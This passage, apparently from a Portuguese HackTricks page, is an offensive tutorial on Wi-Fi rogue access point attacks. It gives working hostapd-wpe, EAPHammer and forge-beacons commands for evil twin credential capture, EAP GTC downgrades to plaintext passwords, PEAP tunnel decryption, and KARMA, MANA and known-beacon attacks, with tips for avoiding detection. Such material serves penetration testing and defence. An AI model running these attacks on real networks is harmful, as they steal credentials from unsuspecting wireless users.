hostapd-wpe ./victim/victim.conf -s
No ficheiro de configuração, pode selecionar várias coisas diferentes como ssid, canal, ficheiros de utilizador, cret/key, parâmetros dh, versão wpa e autenticação...
Utilizando o hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.
Utilizando o EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Por padrão, o EAPHammer utiliza esses métodos de autenticação (observe o GTC como o primeiro a ser tentado para obter senhas em texto simples e depois o uso de métodos de autenticação mais robustos):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Esta é a metodologia padrão para evitar tempos de conexão longos. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco para o mais forte:
--negotiate weakest
Ou você também pode usar:
--negotiate gtc-downgrade
para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto simples)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).- Encontre mais informações na wiki
Usando Airgeddon
Airgeddon
pode usar certificados previamente gerados para oferecer autenticação EAP a redes WPA/WPA2-Enterprise. A rede falsa irá degradar o protocolo de conexão para EAP-MD5 para poder capturar o usuário e o MD5 da senha. Posteriormente, o atacante pode tentar quebrar a senha.
Airggedon
oferece a possibilidade de um ataque Evil Twin contínuo (barulhento) ou apenas criar o Evil Attack até que alguém se conecte (suave).
Depuração de túneis TLS PEAP e EAP-TTLS em ataques Evil Twins
Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS
Dentro da configuração do hostapd-wpe, comente a linha que contém dh_file (de dh_file=/etc/hostapd-wpe/certs/dh
para #dh_file=/etc/hostapd-wpe/certs/dh
)
Isso fará com que o hostapd-wpe
troque chaves usando RSA em vez de DH, para que você possa descriptografar o tráfego posteriormente conhecendo a chave privada do servidor.
Agora inicie o Evil Twin usando o hostapd-wpe
com essa configuração modificada como de costume. Além disso, inicie o wireshark
na interface que está realizando o ataque Evil Twin.
Agora ou mais tarde (quando você já capturou algumas intenções de autenticação), você pode adicionar a chave privada RSA ao wireshark em: Editar --> Preferências --> Protocolos --> TLS --> (Lista de chaves RSA) Editar...
Adicione uma nova entrada e preencha o formulário com estes valores: Endereço IP = qualquer -- Porta = 0 -- Protocolo = dados -- Arquivo de Chave (selecione seu arquivo de chave, para evitar problemas selecione um arquivo de chave sem proteção por senha).
E veja a nova aba "TLS Descriptografado":
Ataque KARMA, MANA, Loud MANA e Beacons Conhecidos
Listas de filtros de controle de acesso MAC (MFACLs) para ESSID e MAC
Diferentes tipos de Listas de Filtro de Controle de Acesso de Controle de Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) falso:
- Lista Branca Baseada em MAC:
- O AP falso responderá apenas a solicitações de sonda de dispositivos especificados na lista branca, permanecendo invisível para todos os outros não listados.
- Lista Negra Baseada em MAC:
- O AP falso ignorará solicitações de sonda de dispositivos na lista negra, tornando efetivamente o AP falso invisível para esses dispositivos específicos.
- Lista Branca Baseada em SSID:
- O AP falso responderá a solicitações de sonda apenas para ESSIDs específicos listados, tornando-o invisível para dispositivos cujas Listas de Rede Preferidas (PNLs) não contenham esses ESSIDs.
- Lista Negra Baseada em SSID:
- O AP falso não responderá a solicitações de sonda para os ESSIDs específicos na lista negra, tornando-o invisível para dispositivos que procuram essas redes específicas.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Este método permite a um atacante criar um ponto de acesso (AP) malicioso que responde a todos os pedidos de sondagem de dispositivos que procuram conectar-se a redes. Esta técnica enganar dispositivos para se conectarem ao AP do atacante imitando as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia um pedido de conexão para este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante.
MANA
Então, os dispositivos começaram a ignorar respostas de rede não solicitadas, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como o ataque MANA, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso capturando as Listas de Redes Preferidas (PNL) dos dispositivos respondendo aos seus pedidos de sondagem de transmissão com nomes de redes (SSIDs) previamente solicitados pelos dispositivos. Este sofisticado ataque contorna as proteções contra o ataque karma original, explorando a forma como os dispositivos lembram e priorizam redes conhecidas.
O ataque MANA opera monitorizando tanto os pedidos de sondagem direcionados como os de transmissão dos dispositivos. Para pedidos direcionados, ele regista o endereço MAC do dispositivo e o nome da rede solicitada, adicionando esta informação a uma lista. Quando é recebido um pedido de transmissão, o AP responde com informações correspondentes a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo para se conectar ao AP falso.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Ataque Loud MANA
Um ataque Loud MANA é uma estratégia avançada para quando os dispositivos não utilizam sondagem direcionada ou quando suas Listas de Redes Preferidas (PNL) são desconhecidas pelo atacante. Ele opera com base no princípio de que dispositivos na mesma área provavelmente compartilham alguns nomes de rede em suas PNLs. Em vez de responder seletivamente, esse ataque transmite respostas de sondagem para cada nome de rede (ESSID) encontrado nas PNLs combinadas de todos os dispositivos observados. Essa abordagem ampla aumenta a chance de um dispositivo reconhecer uma rede familiar e tentar se conectar ao Ponto de Acesso (AP) falso.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Ataque de Beacon Conhecido
Quando o ataque Loud MANA pode não ser suficiente, o Ataque de Beacon Conhecido apresenta outra abordagem. Este método força a conexão ao simular um AP que responde a qualquer nome de rede, percorrendo uma lista de ESSIDs potenciais derivados de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, provocando uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção --loud
para uma tentativa mais agressiva de capturar dispositivos.
O Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com --loud
para criar um ataque Loud MANA + Beacon Conhecido):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Ataque de Rajada de Beacons Conhecidos
O Ataque de Rajada de Beacons Conhecidos envolve a transmissão em rápida sucessão de quadros de beacons para cada ESSID listado em um arquivo. Isso cria um ambiente denso de redes falsas, aumentando significativamente a probabilidade de dispositivos se conectarem ao AP fraudulento, especialmente quando combinado com um ataque MANA. Essa técnica aproveita a velocidade e o volume para sobrecarregar os mecanismos de seleção de rede dos dispositivos.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct é um protocolo que permite que dispositivos se conectem diretamente entre si usando Wi-Fi sem a necessidade de um ponto de acesso sem fio tradicional. Essa capacidade está integrada em vários dispositivos da Internet das Coisas (IoT), como impressoras e televisões, facilitando a comunicação direta de dispositivo para dispositivo. Uma característica notável do Wi-Fi Direct é que um dispositivo assume o papel de ponto de acesso, conhecido como proprietário do grupo, para gerenciar a conexão.
A segurança das conexões Wi-Fi Direct é estabelecida através do Wi-Fi Protected Setup (WPS), que suporta vários métodos para emparelhamento seguro, incluindo:
- Configuração por Botão de Pressão (PBC)
- Inserção de PIN
- Comunicação por Campo de Proximidade (NFC)
Esses métodos, especialmente a inserção de PIN, são suscetíveis às mesmas vulnerabilidades que o WPS em redes Wi-Fi tradicionais, tornando-os alvos para vetores de ataque semelhantes.
Sequestro EvilDirect
Sequestro EvilDirect é um ataque específico ao Wi-Fi Direct. Ele espelha o conceito de um ataque Evil Twin, mas direcionado às conexões Wi-Fi Direct. Nesse cenário, um atacante se passa por um proprietário de grupo legítimo com o objetivo de enganar dispositivos para se conectarem a uma entidade maliciosa. Esse método pode ser executado usando ferramentas como airbase-ng
, especificando o canal, ESSID e endereço MAC do dispositivo falsificado:
Referências
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
TODO: Dê uma olhada em https://github.com/wifiphisher/wifiphisher (login com facebook e imitação de WPA em portais cativos)
Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Últimos Anúncios
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.